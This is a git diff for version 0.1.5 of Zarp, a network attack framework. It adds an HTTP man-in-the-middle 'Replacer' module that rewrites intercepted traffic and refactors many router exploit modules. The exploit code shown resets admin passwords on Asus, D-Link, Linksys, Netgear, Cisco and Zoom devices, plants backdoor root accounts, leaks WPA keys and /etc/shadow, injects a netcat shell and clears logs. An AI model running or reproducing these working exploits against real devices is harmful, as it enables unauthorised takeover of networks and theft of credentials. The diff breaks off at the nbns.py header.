diff --git a/README b/README index 3fdb681..c7f4fc8 100644 --- a/README +++ b/README @@ -1,2 +1,2 @@ -Zarp v0.1.4 +Zarp v0.1.5 See https://defense.ballastsecurity.net/wiki/index.php/Zarp for more information. diff --git a/config/replacements b/config/replacements new file mode 100644 index 0000000..d66d38b --- /dev/null +++ b/config/replacements @@ -0,0 +1,32 @@ +# +# zarp's match and replace config file for the Replacer +# module. Entries should be listed in the following form: +# +# match = match replace +# +# This module supports two different match forms; regex and HTML tags. In +# the first case, anything that re.sub accepts, this will accept. In the +# latter case, tags can be specified in the following: +# +# 2 img src = http://google.com +# +# This will parse each img tag and replace the src with http://google.com. To +# distinguish between the two types, 1 should be prefixed to regex entries, and +# 2 should be prefixed to HTML tags. +# +# Several test entries have been listed here. The regex isnt perfect because regex +# with HTML is a monster. +# + +# match img tags and replace the src with rick astley +#1 (?<= 0: + config.pptable([settings] + table) + else: + Msg('\tModule has no options.') + + print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END + return table + def handle_opts(module): """ The user has selected a module, so we should parse out all the options for this particular module, set the config, and when @@ -67,24 +90,11 @@ def handle_opts(module): """ # fetch generic module options and module-specific options options = module.config + + # dump module settings Setting = ['', 'Option', 'Value', 'Type', 'Required'] + table = display_options(options, Setting) while True: - # generate list of opts - table = [] - for idx, opt in enumerate(options.keys()): - tmp = [] - tmp.append(idx+1) - tmp.append(options[opt].display) - tmp.append(options[opt].getStr()) - tmp.append(options[opt].type) - tmp.append(options[opt].required) - table.append(tmp) - if len(table) > 0: - config.pptable([Setting] + table) - else: - Msg('\tModule has no options.') - print color.B_YELLOW + '0' + color.B_GREEN + ') ' + color.B_WHITE + 'Back' + color.END - # fetch command/option try: choice = raw_input('%s > ' % (color.B_WHITE + module.which + color.END)) @@ -109,6 +119,9 @@ def handle_opts(module): print '%s%s%s' % (color.GREEN, '-' * len(module.info.split('\n')[1].strip()), color.END) + elif choice == "ops": + display_options(options, Setting) + continue elif len(choice.split(' ')) > 1: choice = choice.split(' ') try: diff --git a/src/core/util.py b/src/core/util.py index 5d367f3..8e7ef84 100644 --- a/src/core/util.py +++ b/src/core/util.py @@ -24,7 +24,7 @@ def version(): """Zarp version""" - return "0.1.4" + return "0.1.5" def header(): @@ -280,7 +280,7 @@ def check_opts(choice): elif 'help' in choice: help() choice = -1 - elif 'opts' in choice: + elif 'gops' in choice: config.dump() choice = -1 elif 'quit' in choice or 'exit' in choice: @@ -317,7 +317,7 @@ def help(): """ print color.B_YELLOW + '\n zarp options:' + color.B_WHITE print color.B_GREEN + '\thelp\t\t\t' + color.B_WHITE + '- This menu' - print color.B_GREEN + '\topts\t\t\t' + color.B_WHITE + '- Dump zarp current settings' + print color.B_GREEN + '\tgops\t\t\t' + color.B_WHITE + '- Display global options' print color.B_GREEN + '\texit\t\t\t' + color.B_WHITE + '- Exit immediately' print color.B_GREEN + '\tbg\t\t\t' + color.B_WHITE + '- Put zarp to background' print color.B_GREEN + '\tset [' + color.B_YELLOW + 'key' + color.B_GREEN + '] [' + \ @@ -331,6 +331,7 @@ def help(): color.B_WHITE + '- View options for setting' print color.B_GREEN + '\trun (r)\t\t\t' + color.B_WHITE + '- Run the selected module' print color.B_GREEN + '\tinfo \t\t\t' + color.B_WHITE + '- Display module information' + print color.B_GREEN + '\tops \t\t\t' + color.B_WHITE + '- Display module options' print color.END @@ -461,6 +462,9 @@ def eval_type(value, type): rval = (True, value.split(',')) except: rval = (False, None) + elif type == 'file': + if does_file_exist(value): + rval = (True, value) else: Error('Unrecognized type: %s'%type) return rval diff --git a/src/modules/attacks/__init__.py b/src/modules/attacks/__init__.py index f41a1fe..2ca68e3 100644 --- a/src/modules/attacks/__init__.py +++ b/src/modules/attacks/__init__.py @@ -1 +1 @@ -__all__ = ["beef_hook", "pemod"] +__all__ = ["beef_hook", "pemod", "replacer"] diff --git a/src/modules/attacks/replacer.py b/src/modules/attacks/replacer.py new file mode 100644 index 0000000..0f40d39 --- /dev/null +++ b/src/modules/attacks/replacer.py @@ -0,0 +1,170 @@ +from attack import Attack +from libmproxy import controller, proxy, platform +from zoption import Zoption +from threading import Thread +from os import getcwd +from HTMLParser import HTMLParser +import re +import util + +class replacer(Attack): + def __init__(self): + super(replacer, self).__init__("Replacer") + self.replace_regex = {} # structure of {'match':'replace'} + self.replace_tags = {} + self.hooker = None + self.proxy_server = None + self.iptable = "iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 5544" + self.config.update({"replace_file":Zoption(type="file", + value = getcwd() + '/config/replacements', + required = True, + display = "File containing replace matches") + }) + self.info = """ + Replacer is an HTTP find and replace module. All HTTP traffic + accessible by zarp may be modified. + + This will load the defined file, parse it, and listen for all traffic + on the local interface. Content-Length header is automatically updated, + and the find/replace matches affect both the body and the headers. Review + the config file at config/replacements for information regarding formatting. + """ + + def modip(self, enable=True): + """ Enable or disable the iptable rule + """ + if enable: + util.init_app(self.iptable) + else: + util.init_app(self.iptable.replace('-A', '-D')) + + def initialize(self): + self.load_file() + if (len(self.replace_regex) + len(self.replace_tags)) <= 0: + util.Error("No matches loaded.") + return False + + self.modip() + + self.running = True + config = proxy.ProxyConfig(transparent_proxy = dict( + resolver = platform.resolver(), + sslports = [443]) + ) + + config.skip_cert_cleanup = True + self.proxy_server = proxy.ProxyServer(config, 5544) + self.hooker = Hooker(self.proxy_server, self.replace_regex, + self.replace_tags) + + util.Msg("Launching replacer...") + thread = Thread(target=self.hooker.run) + thread.start() + + return True + + def shutdown(self): + util.Msg("Shutting down replacer...") + self.modip(False) + self.proxy_server.shutdown() + self.hooker.shutdown() + + def load_file(self): + """ Load the defined file and attempt to build the struct + """ + with open(self.config['replace_file'].value, 'r') as f: + lines = f.readlines() + for line in lines: + if (len(line) > 0 and line[0] == '#') or len(line) <= 2: + continue + + cut = line.split(" = ") + if len(cut) < 2 or len(cut) > 2: + util.Error("Incorrect formatting for line '%s'" % cut) + else: + try: + if cut[0][0] == '1': + # this is a regex entry, parse and try to compile it + tmp = re.compile(cut[0][2:]) + self.replace_regex[cut[0][2:]] = cut[1].rstrip('\n') + elif cut[0][0] == '2': + # + # this is a tag, split it out and build a dictionary. + # The dictionary is essentially: + # {'outer' : {'attribute' : 'replacement'}} + # Each outer tag may have multiple attributes for + # replacement. + # + tags = cut[0][2:].split(' ') + + if tags[0] in self.replace_tags: + self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n') + else: + self.replace_tags[tags[0]] = {} + self.replace_tags[tags[0]][tags[1]] = cut[1].rstrip('\n') + except: + util.Error("Incorrect regex: '%s'" % cut[0][2:]) + util.Msg("Loaded %s matches" % (len(self.replace_regex) + len(self.replace_tags))) + return True + + def session_view(self): + """ Return the number of loaded matches + """ + return "%d regex values loaded." % (len(self.replace_regex) + len(self.replace_tags)) + +class HTMLHooker(HTMLParser): + """ Parsing and modifying HTML is much easier with the HTMLParser. + This handles parsing tags. + """ + def __init__(self, match): + HTMLParser.__init__(self) + self.match = match + self.data = {} + + def handle_starttag(self, tag, attrs): + for key in self.match.keys(): + if key == tag: + for itag in self.match[key].keys(): + # iterate through attribute tags to see if any match + for tag_atts in attrs: + if tag_atts[0] == itag: + if itag not in self.data.keys(): + self.data[itag] = [] + if tag_atts[1] not in self.data[itag]: + self.data[itag].append(tag_atts[1]) + break + +class Hooker(controller.Master): + """ Listens for and parses HTTP traffic + """ + def __init__(self, server, rep_regex, rep_tags): + controller.Master.__init__(self, server) + self.rep_regex = rep_regex + self.rep_tags = rep_tags + + def run(self): + try: + return controller.Master.run(self) + except: + self.shutdown() + + def handle_response(self, msg): + """ Iterate through the response and replace values + """ + for match in self.rep_regex: + msg.replace(match, self.rep_regex[match]) + + # modify the DOM + try: + for tag in self.rep_tags.keys(): + tmp = {} + tmp[tag] = self.rep_tags[tag] + parser = HTMLHooker(tmp) + parser.feed(msg.get_decoded_content()) + for entry in parser.data.keys(): + for data_entry in parser.data[entry]: + rep_entry = self.rep_tags[tag][entry] + msg.replace(data_entry, rep_entry) + except Exception, e: + util.debug(e) + msg.reply() diff --git a/src/modules/dos/dhcp_starvation.py b/src/modules/dos/dhcp_starvation.py index d0b1021..c9e69b6 100644 --- a/src/modules/dos/dhcp_starvation.py +++ b/src/modules/dos/dhcp_starvation.py @@ -1,4 +1,5 @@ from scapy.all import * +from time import sleep from util import Msg from dos import DoS from threading import Thread @@ -45,4 +46,4 @@ def starve(self): pkt /= BOOTP(chaddr=RandString(12, '0123456789abcdef')) pkt /= DHCP(options=[("message-type", 'discover'), 'end']) sendp(pkt) - sleep(self.config['interval'].value) \ No newline at end of file + sleep(self.config['interval'].value) diff --git a/src/modules/parameter/router_pwn.py b/src/modules/parameter/router_pwn.py index 3678c2c..5971bf7 100644 --- a/src/modules/parameter/router_pwn.py +++ b/src/modules/parameter/router_pwn.py @@ -1,6 +1,7 @@ import importlib import routers import util +import stream from parameter import Parameter @@ -21,9 +22,10 @@ def load(self): % router) self.routers[router] = [] for vuln in mod.__all__: - v = getattr(importlib.import_module('modules.parameter.routers.' - '%s.%s' % (router, vuln), 'routers'), vuln) - self.routers[router].append(v) + path = "modules.parameter.routers.%s.%s" % (router, vuln) + if util.check_dependency(path): + mod = getattr(importlib.import_module(path, 'routers'), vuln) + self.routers[router].append(mod) def initialize(self): """ Load router exploits; store {router:[vuln]} @@ -39,14 +41,10 @@ def initialize(self): else: router = self.routers[self.routers.keys()[choice - 1]] while True: - # print router modules - choice = util.print_menu(['%s - %s' % - (x().router, x().vuln) for x in router]) + choice = util.print_menu([x().which for x in router]) if choice is 0: break elif choice is -1 or choice > len(router): pass else: - tmp = router[choice - 1]() - if tmp.fetch_ip(): - tmp.run() + stream.initialize(router[choice - 1]) diff --git a/src/modules/parameter/routers/asus/rt56u_change_admin.py b/src/modules/parameter/routers/asus/rt56u_change_admin.py index 7658c28..162b080 100644 --- a/src/modules/parameter/routers/asus/rt56u_change_admin.py +++ b/src/modules/parameter/routers/asus/rt56u_change_admin.py @@ -4,15 +4,18 @@ class rt56u_change_admin(RouterVuln): - """Change the admin password and enable the remote telnet server - http://forelsec.blogspot.com/2013/02/asus-rt56u-multiple-vulnerabilities.html - """ + def __init__(self): - self.vuln = 'Change Admin Password' self.router = 'RT-N56U <= v1.0.7f' + self.vuln = 'Change Admin Password' super(rt56u_change_admin, self).__init__() - def run(self): + self.info = """ + Change the admin password and enable the remote telnet server + http://forelsec.blogspot.com/2013/02/asus-rt56u-multiple-vulnerabilities.html + """ + + def initialize(self): util.Msg('Changing admin password and enabling remote telnet server...') try: data = urlencode({'productid':'RT-N56U', 'current_page':'Advanced_System_Content.asp', @@ -21,9 +24,12 @@ def run(self): 'action_script':'','preferred_lang':'EN','wl_ssid2':'wat','firmver':'1.0.7f', 'http_passwd':'d3fault','http_passwd2':'d3fault','v_password2':'d3fault', 'log_ipaddr':'', 'time_zone':'UCT12', 'ntp_server0':'pool.ntp.org','telnetd':'1'}) - response = urlopen("http://%s/start_apply.htm" % self.ip, data).read() + + response = urlopen("http://%s/start_apply.htm" % + self.config['target'].value, data).read() + if "You cannot Login unless logout another user first" in response: - util.Msg("Another user is logged in, attempt to logout? [y] ") + util.Msg("Another user is logged in.") util.Msg('Done. telnet into %s with \'admin:d3fault\'' % self.ip) except Exception, e: util.Error('Error: %s' % e) diff --git a/src/modules/parameter/routers/cisco/ios_full_admin.py b/src/modules/parameter/routers/cisco/ios_full_admin.py index dcca7b3..806b36d 100644 --- a/src/modules/parameter/routers/cisco/ios_full_admin.py +++ b/src/modules/parameter/routers/cisco/ios_full_admin.py @@ -4,23 +4,25 @@ class ios_full_admin(RouterVuln): - """ Exploit a remote admin vulnerability in Cisco IOS 11.x/12.x routers - http://www.exploit-db.com/exploits/20975/ - """ def __init__(self): self.router = 'Cisco IOS 11.x/12.x' self.vuln = 'Full Admin' super(ios_full_admin, self).__init__() - def run(self): - url = 'http://%s/level/' % (self.ip) + self.info = """ + Exploit a remote admin vulnerability in Cisco IOS 11.x/12.x routers + http://www.exploit-db.com/exploits/20975/ + """ + + def initialize(self): + url = 'http://%s/level/' % (self.config['target'].value) for idx in range(16, 100): url += str(idx) + '/exec/-' response = urllib.urlopen(url).read() if '200 ok' in response.lower(): util.Msg('Device vulnerable. Connect to %s for admin' - % (self.ip)) + % (self.config['target'].value)) return util.Msg('Device not vulnerable.') return diff --git a/src/modules/parameter/routers/cisco/kits_dtraverse.py b/src/modules/parameter/routers/cisco/kits_dtraverse.py index 72e3f36..9d48c73 100644 --- a/src/modules/parameter/routers/cisco/kits_dtraverse.py +++ b/src/modules/parameter/routers/cisco/kits_dtraverse.py @@ -4,21 +4,23 @@ class kits_dtraverse(RouterVuln): - """Exploit a directory traversal vulnerability - http://www.exploit-db.com/exploits/17619/ - """ def __init__(self): self.router = 'CiscoKits 1.0 TFTP' self.vuln = 'Directory Traversal' super(kits_dtraverse, self).__init__() + self.info = """ + Exploit a directory traversal vulnerability + http://www.exploit-db.com/exploits/17619/ + """ + def send(self, retr): """Send and receive""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) - sock.sendto(retr, (self.ip, 69)) + sock.sendto(retr, (self.config['target'].value, 69)) data = sock.recv(1024) sock.close() except Exception, e: @@ -26,7 +28,7 @@ def send(self, retr): return None return data.strip() - def run(self): + def initialize(self): try: while True: retr = raw_input('C:\\') diff --git a/src/modules/parameter/routers/dlink/add_admin_300.py b/src/modules/parameter/routers/dlink/add_admin_300.py index 40d29c6..39307da 100644 --- a/src/modules/parameter/routers/dlink/add_admin_300.py +++ b/src/modules/parameter/routers/dlink/add_admin_300.py @@ -4,17 +4,20 @@ class add_admin_300(RouterVuln): - """Modify the default admin password to 'd3fault' - http://www.exploit-db.com/exploits/15753/ - """ + def __init__(self): self.router = 'DIR-300 v1.04' self.vuln = 'Change Admin Password' super(add_admin_300, self).__init__() + + self.info = """ + Modify the default admin password to 'd3fault' + http://www.exploit-db.com/exploits/15753/ + """ - def run(self): + def initialize(self): util.Msg('Changing admin password to \'d3fault\'...') - url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0'%self.ip + url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0' % self.config['target'].value params = urllib.urlencode({'ACTION_POST':1,'admin_name':'admin', 'admin_password1':'d3fault','admin_password2':'d3fault', 'rt_enable_h':1,'rt_port':8080,'rt_ipaddr':'192.168.0.1337'}) diff --git a/src/modules/parameter/routers/dlink/add_admin_605.py b/src/modules/parameter/routers/dlink/add_admin_605.py index b753ff9..77d62d4 100644 --- a/src/modules/parameter/routers/dlink/add_admin_605.py +++ b/src/modules/parameter/routers/dlink/add_admin_605.py @@ -3,22 +3,25 @@ from ..router_vuln import RouterVuln class add_admin_605(RouterVuln): - """ Adds a backdoor root account to the router - http://www.exploit-db.com/exploits/18638/ - """ + def __init__(self): self.router = 'DIR-605 v2.00' self.vuln = 'Backdoor Root' super(add_admin_605, self).__init__() - def run(self): + self.info = """ + Adds a backdoor root account to the router + http://www.exploit-db.com/exploits/18638/ + """ + + def initialize(self): util.Msg('Adding admin \'adm4n\' with password \'d3fault\'') - url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0'%self.ip + url = 'http://%s/tools_admin.php?NO_NEED_AUTH=1&AUTH_GROUP=0' % self.config['target'].value params = urllib.urlencode({'ACTION_POST':1, 'admin_name':'adm4n','admin_password':'d3fault', 'admin_password2':'d3fault'}) try: response = urllib.urlopen(url,params).read() - util.Msg('Done. Connect to %s with \'adm4n:d3fault\'' % self.ip) + util.Msg('Done. Connect to %s with \'adm4n:d3fault\'' % self.config['target'].value) except Exception, e: util.Error('Failed: %s' % e) return diff --git a/src/modules/parameter/routers/dlink/backdoor_250n.py b/src/modules/parameter/routers/dlink/backdoor_250n.py index 064e57c..7d5e49f 100644 --- a/src/modules/parameter/routers/dlink/backdoor_250n.py +++ b/src/modules/parameter/routers/dlink/backdoor_250n.py @@ -1,29 +1,27 @@ import util +import paramiko from ..router_vuln import RouterVuln class backdoor_250n(RouterVuln): - """Add persistent root account. - http://www.exploit-db.com/exploits/22930/ - """ + def __init__(self): self.router = 'DSR-250N' self.vuln = 'Add Admin' super(backdoor_250n, self).__init__() + + self.info = """ + Add persistent root account. + http://www.exploit-db.com/exploits/22930/ + """ - def run(self): - try: - import paramiko - except ImportError: - util.Error('Attack requires Paramiko library.') - return - + def initialize(self): util.Msg('Adding \'r00t:d3fault\'...') try: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) - connection = ssh.connect(self.ip, username='admin', - password='admin', timeout=3.0) + connection = ssh.connect(self.config['target'].value, + username='admin', password='admin', timeout=3.0) channel = connection.get_transport().open_session() # add user channel.exec_command('system users edit 1') diff --git a/src/modules/parameter/routers/dlink/change_admin_1310.py b/src/modules/parameter/routers/dlink/change_admin_1310.py index bf54421..ef42b97 100644 --- a/src/modules/parameter/routers/dlink/change_admin_1310.py +++ b/src/modules/parameter/routers/dlink/change_admin_1310.py @@ -4,22 +4,25 @@ class change_admin_1310(RouterVuln): - """Changes the admin psasword to d3fault and enables remote administration - on port 8080. - http://www.exploit-db.com/exploits/15810/ - """ + def __init__(self): self.router = 'WBR-1310 v2.0' self.vuln = 'Change Admin Password' super(change_admin_1310, self).__init__() + + self.info = """ + Changes the admin psasword to d3fault and enables + remote administration on port 8080. + http://www.exploit-db.com/exploits/15810/ + """ - def run(self): + def initialize(self): util.Msg('Changing admin password to \'d3fault\' ' 'and enabling remote admin on port 8080...') try: url = 'http://%s/tools_admin.cgi?admname=admin&admPass1=d3fault' \ '&admPass2=d3fault&username=admin&userPass1=d3fault&userPass2=d3fault' \ - '&hip1=*&hport=8080&hEnable=1' % self.ip + '&hip1=*&hport=8080&hEnable=1' % self.config['target'].value urllib.urlopen(url).read() util.Msg('Admin password changed to \'d3fault\' ' 'and interface enabled on 8080') diff --git a/src/modules/parameter/routers/dlink/change_admin_2640.py b/src/modules/parameter/routers/dlink/change_admin_2640.py index df8f9d8..eebc393 100644 --- a/src/modules/parameter/routers/dlink/change_admin_2640.py +++ b/src/modules/parameter/routers/dlink/change_admin_2640.py @@ -4,18 +4,22 @@ class change_admin_2640(RouterVuln): - """Modify the admin password. - http://www.exploit-db.com/exploits/18499/ - """ + def __init__(self): self.router = 'DSL-2640B' self.vuln = 'Change Admin Password' super(change_admin_2640, self).__init__() + + self.info = """ + Modify the admin password. + http://www.exploit-db.com/exploits/18499/ + """ - def run(self): + def initialize(self): util.Msg('Changing admin password to \'d3fault\'...') try: - url = 'http://%s/redpass.cgi?sysPassword=d3fault&change=1' % self.ip + url = 'http://%s/redpass.cgi?sysPassword=d3fault&change=1' \ + % self.config['target'].value urllib.urlopen(url).read() util.Msg('Done. Admin password changed to \'d3fault\'') except Exception, e: diff --git a/src/modules/parameter/routers/dlink/get_config_320b.py b/src/modules/parameter/routers/dlink/get_config_320b.py index 0f8fdf0..bc82808 100644 --- a/src/modules/parameter/routers/dlink/get_config_320b.py +++ b/src/modules/parameter/routers/dlink/get_config_320b.py @@ -2,19 +2,21 @@ import urllib from ..router_vuln import RouterVuln - class get_config_320b(RouterVuln): - """Read the configuration file - http://www.exploit-db.com/exploits/25251/ - """ + def __init__(self): self.router = 'DSL-320B' self.vuln = 'Read Configuration File' super(get_config_320b, self).__init__() + + self.info = """ + Read the configuration file + http://www.exploit-db.com/exploits/25251/ + """ - def run(self): - util.Msg('Fetching config from %s...' % self.ip) - url = 'http://%s/config.bin' % self.ip + def initialize(self): + util.Msg('Fetching config from %s...' % self.config['target'].value) + url = 'http://%s/config.bin' % self.config['target'].value try: response = urllib.urlopen(url).read() util.Msg(response) diff --git a/src/modules/parameter/routers/linksys/wag54gs_change_admin.py b/src/modules/parameter/routers/linksys/wag54gs_change_admin.py index 11f5586..083ccb6 100644 --- a/src/modules/parameter/routers/linksys/wag54gs_change_admin.py +++ b/src/modules/parameter/routers/linksys/wag54gs_change_admin.py @@ -4,19 +4,21 @@ class wag54gs_change_admin(RouterVuln): - """Change the admin password to d3fault. - http://www.exploit-db.com/exploits/18503/ - """ def __init__(self): self.router = 'WAG54GS v1.01.03' self.vuln = 'Change Admin Password' super(wag54gs_change_admin, self).__init__() + + self.info = """ + Change the admin password to d3fault. + http://www.exploit-db.com/exploits/18503/ + """ - def run(self): + def initialize(self): util.Msg('Changing admin password to \'d3fault\'...') try: - url = 'http://%s/setup.cgi' % self.ip + url = 'http://%s/setup.cgi' % self.config['target'].value params = urllib.urlencode({'user_list':'1','sysname':'admin','sysPasswd':'d3fault', 'sysConfirmPasswd':'d3fault','remote_management':'disable', 'devname':'','snmp_enable':'disable','upnp_enable':'enable', diff --git a/src/modules/parameter/routers/linksys/wap610n_dump.py b/src/modules/parameter/routers/linksys/wap610n_dump.py index 9d56149..810007c 100644 --- a/src/modules/parameter/routers/linksys/wap610n_dump.py +++ b/src/modules/parameter/routers/linksys/wap610n_dump.py @@ -4,19 +4,21 @@ class wap610n_dump(RouterVuln): - """Unauthenticated root access over telnet - http://www.exploit-db.com/exploits/16149/ - """ def __init__(self): self.router = 'WAP610N v1.0.01' self.vuln = 'Unauthenticated File Disclosure' super(wap610n_dump, self).__init__() + + self.info = """ + Unauthenticated root access over telnet + http://www.exploit-db.com/exploits/16149/ + """ - def run(self): + def initialize(self): util.Msg('Retrieving shadow...') try: - tn = telnetlib.Telnet(self.ip) + tn = telnetlib.Telnet(self.config['target'].value) tn.read_until('Command> ') tn.write('system cat /etc/shadow\n') data = tn.read_all() diff --git a/src/modules/parameter/routers/linksys/wrt54g_reset_admin.py b/src/modules/parameter/routers/linksys/wrt54g_reset_admin.py index ee25b58..d6cc89a 100644 --- a/src/modules/parameter/routers/linksys/wrt54g_reset_admin.py +++ b/src/modules/parameter/routers/linksys/wrt54g_reset_admin.py @@ -4,21 +4,23 @@ class wrt54g_reset_admin(RouterVuln): - """Reset admin password - http://www.exploit-db.com/exploits/5313/ - """ + def __init__(self): self.router = 'WRT54G v1.00.9' self.vuln = 'Reset Password' super(wrt54g_reset_admin, self).__init__() + + self.info = """Reset admin password + http://www.exploit-db.com/exploits/5313/ + """ - def run(self): + def initialize(self): util.Msg('Resetting admin password to \'d3fault\'...') try: url = 'http://%s/manage.tri?remote_mg_https=0&http_enable=1&https_enable=0' \ '&PasswdModify=1&http_passwd=d3fault&http_passwdConfirm=d3fault' \ '&_http_enable=1&web_wl_filter=1&remote_management=0&upnp=_enable=1'\ - '&layout=en' % self.ip + '&layout=en' % self.config['target'].value urllib.urlopen(url).read() util.Msg('Done') except Exception, e: diff --git a/src/modules/parameter/routers/netgear/wnr2000_get_pass.py b/src/modules/parameter/routers/netgear/wnr2000_get_pass.py index d2335ca..d8668c7 100644 --- a/src/modules/parameter/routers/netgear/wnr2000_get_pass.py +++ b/src/modules/parameter/routers/netgear/wnr2000_get_pass.py @@ -4,18 +4,21 @@ class wnr2000_get_pass(RouterVuln): - """Read the WPA/WPA2 passphrase - http://www.exploit-db.com/exploits/9498/ - """ + def __init__(self): self.router = 'WNR2000 v1.2.0.8' self.vuln = 'Read WPA/WPA2 Password' super(wnr2000_get_pass, self).__init__() + + self.info = """ + Read the WPA/WPA2 passphrase + http://www.exploit-db.com/exploits/9498/ + """ - def run(self): - util.Msg('Fetching password from %s...' % self.ip) - url = 'http://%s/router-info.htm' % self.ip - url2 = 'http://%s/cgi-bin/router-info.htm' % self.ip + def initialize(self): + util.Msg('Fetching password from %s...' % self.config['target'].value) + url = 'http://%s/router-info.htm' % self.config['target'].value + url2 = 'http://%s/cgi-bin/router-info.htm' % self.config['target'].value try: response = urllib.urlopen(url).read() response2 = urllib.urlopen(url2).read() diff --git a/src/modules/parameter/routers/netgear/wpn824v3_get_config.py b/src/modules/parameter/routers/netgear/wpn824v3_get_config.py index 8558140..4d3993b 100644 --- a/src/modules/parameter/routers/netgear/wpn824v3_get_config.py +++ b/src/modules/parameter/routers/netgear/wpn824v3_get_config.py @@ -4,17 +4,20 @@ class wpn824v3_get_config(RouterVuln): - """Read the configuration file - http://www.exploit-db.com/exploits/25969/ - """ + def __init__(self): self.router = 'WPN824v3' self.vuln = 'Read Configuration File' super(wpn824v3_get_config, self).__init__() + + self.info = """ + Read the configuration file + http://www.exploit-db.com/exploits/25969/ + """ - def run(self): - util.Msg('Fetching config from %s...' % self.ip) - url = 'http://%s/cgi-bin/NETGEAR_wpn824v3.cfg' % self.ip + def initialize(self): + util.Msg('Fetching config from %s...' % self.config['target'].value) + url = 'http://%s/cgi-bin/NETGEAR_wpn824v3.cfg' % self.config['target'].value try: response = urllib.urlopen(url).read() util.Msg(response) diff --git a/src/modules/parameter/routers/rosewill/rsva_backdoor.py b/src/modules/parameter/routers/rosewill/rsva_backdoor.py index 634777d..1a6e890 100644 --- a/src/modules/parameter/routers/rosewill/rsva_backdoor.py +++ b/src/modules/parameter/routers/rosewill/rsva_backdoor.py @@ -5,9 +5,7 @@ class rsva_backdoor(RouterVuln): - """Execute a remote netcat shell through command injection - http://www.exploit-db.com/exploits/24892 - """ + def __init__(self): self.router = 'RSVA11001' self.vuln = 'Backdoor Root' @@ -22,17 +20,22 @@ def __init__(self): "CkZ1bmMtVmVyc2lvbjoweDEwDQpDb250ZW50LUxlbmd0aDoxNQ0KDQpTZW"\ "dtZW50LU51bTowDQo=" super(rsva_backdoor, self).__init__() + + self.info = """ + Execute a remote netcat shell through command injection + http://www.exploit-db.com/exploits/24892 + """ - def run(self): + def initialize(self): try: - util.Msg('Executing command injection on %s...' % self.ip) + util.Msg('Executing command injection on %s...' % self.config['target'].value) sock = socket.socket() - sock.connect((self.ip, 8000)) + sock.connect((self.config['target'].value, 8000)) sock.sendall(self.inject) sleep(3) util.Msg('Forcing the device to save...') sock.sendall(self.hard_save) sock.close() - util.Msg('Reboot router for root shell on %s:5555' % (self.ip)) + util.Msg('Reboot router for root shell on %s:5555' % (self.config['target'].value)) except Exception, e: util.Error('Error: %s' % e) diff --git a/src/modules/parameter/routers/router_vuln.py b/src/modules/parameter/routers/router_vuln.py index 7716e54..b71cecd 100644 --- a/src/modules/parameter/routers/router_vuln.py +++ b/src/modules/parameter/routers/router_vuln.py @@ -2,36 +2,21 @@ import urllib2 from base64 import b64encode from util import Msg +from module import ZarpModule +from zoption import Zoption from default_passwords import default_list -class RouterVuln(object): +class RouterVuln(ZarpModule): """Abstract router vulnerability""" - __metaclass__ = abc.ABCMeta def __init__(self): - """Initialize a default router IP and fetch IP from user""" - self.ip = '192.168.1.1' - - @abc.abstractmethod - def run(self): - """Runner for the menus""" - pass - - def fetch_ip(self): - """Fetch the router IP - """ - while True: - try: - tmp = raw_input('[!] Enter address of router [%s]: ' % self.ip) - if len(tmp.split('.')) is 4: - self.ip = tmp - break - except KeyboardInterrupt: - return False - except: - continue - return True + super(RouterVuln, self).__init__("%s - %s" % (self.router, self.vuln)) + self.config.update({"target":Zoption(type = "ip", + value = "192.168.1.1", + required = False, + display = "Address to target") + }) def attempt_login(self, brand): """ Attempts to login to the router with default credentials. This will diff --git a/src/modules/parameter/routers/zoom/x4_5_mod_password.py b/src/modules/parameter/routers/zoom/x4_5_mod_password.py index add9e85..1e05b3c 100644 --- a/src/modules/parameter/routers/zoom/x4_5_mod_password.py +++ b/src/modules/parameter/routers/zoom/x4_5_mod_password.py @@ -4,25 +4,28 @@ class x4_5_mod_password(RouterVuln): - """ Modify the administrative password to 'd3fault' - http://seclists.org/bugtraq/2013/Jul/56 - """ + def __init__(self): self.router = 'X4/X5 ADSL Modem/Router <=2.5 and 3.0' self.vuln = 'Change Admin Password' super(x4_5_mod_password, self).__init__() + + self.info = """ + Modify the administrative password to 'd3fault' + http://seclists.org/bugtraq/2013/Jul/56 + """ - def run(self): + def initialize(self): version = util.get_input('Enter Zoom version [2/3]: ') util.Msg('Changing admin password to \'d3fault\'...') url_25 = 'http://%s/hag/emweb/PopOutUserModify.htm/FormOne&user=admin&'\ 'ex_param1=admin&new_pass1=d3fault&new_pass2=d3fault&id=3&'\ - 'cmdSubmit=Save+Changes' % self.ip + 'cmdSubmit=Save+Changes' % self.config['target'].value url_30 = 'http://%s/hag/emweb/PopOutUserModify.htm?id=40&user=admin&'\ 'Zadv=1&ex_param1=admin&new_pass1=d3fault&new_pass2=d3fault&'\ - 'id=3&cmdSubmit=Save+Changes' % self.ip - url_logs = 'http://%s/Action?id=76&cmdClear+Log=Clear+Log' % self.ip + 'id=3&cmdSubmit=Save+Changes' % self.config['target'].value + url_logs = 'http://%s/Action?id=76&cmdClear+Log=Clear+Log' % self.config['target'].value try: if version == '2': @@ -32,6 +35,6 @@ def run(self): util.Msg("Password reset, clearing logs...") urllib.urlopen(url_logs).read() - util.Msg('Done. Connect to %s with admin:d3fault' % self.ip) + util.Msg('Done. Connect to %s with admin:d3fault' % self.config['target'].value) except Exception, e: util.Error('Unable to connect: %s' % e) diff --git a/src/modules/poison/dns.py b/src/modules/poison/dns.py index 46ab880..fecdf5b 100644 --- a/src/modules/poison/dns.py +++ b/src/modules/poison/dns.py @@ -1,4 +1,5 @@ from scapy.all import * +from colors import color from poison import Poison from zoption import Zoption from threading import Thread @@ -116,6 +117,7 @@ def session_view(self): data = self.config['victim'].value + '\n' for (cnt, dns) in enumerate(self.dns_spoofed_pair): - data += '\t|-> [%d] %s -> %s' \ - % (cnt, dns.pattern, self.dns_spoofed_pair[dns]) + data += '\t\t%s|->%s [%d] %s -> %s' \ + % (color.GREEN, color.WHITE, cnt, + dns.pattern, self.dns_spoofed_pair[dns]) return data diff --git a/src/modules/poison/nbns.py b/src/modules/poison/nbns.py index 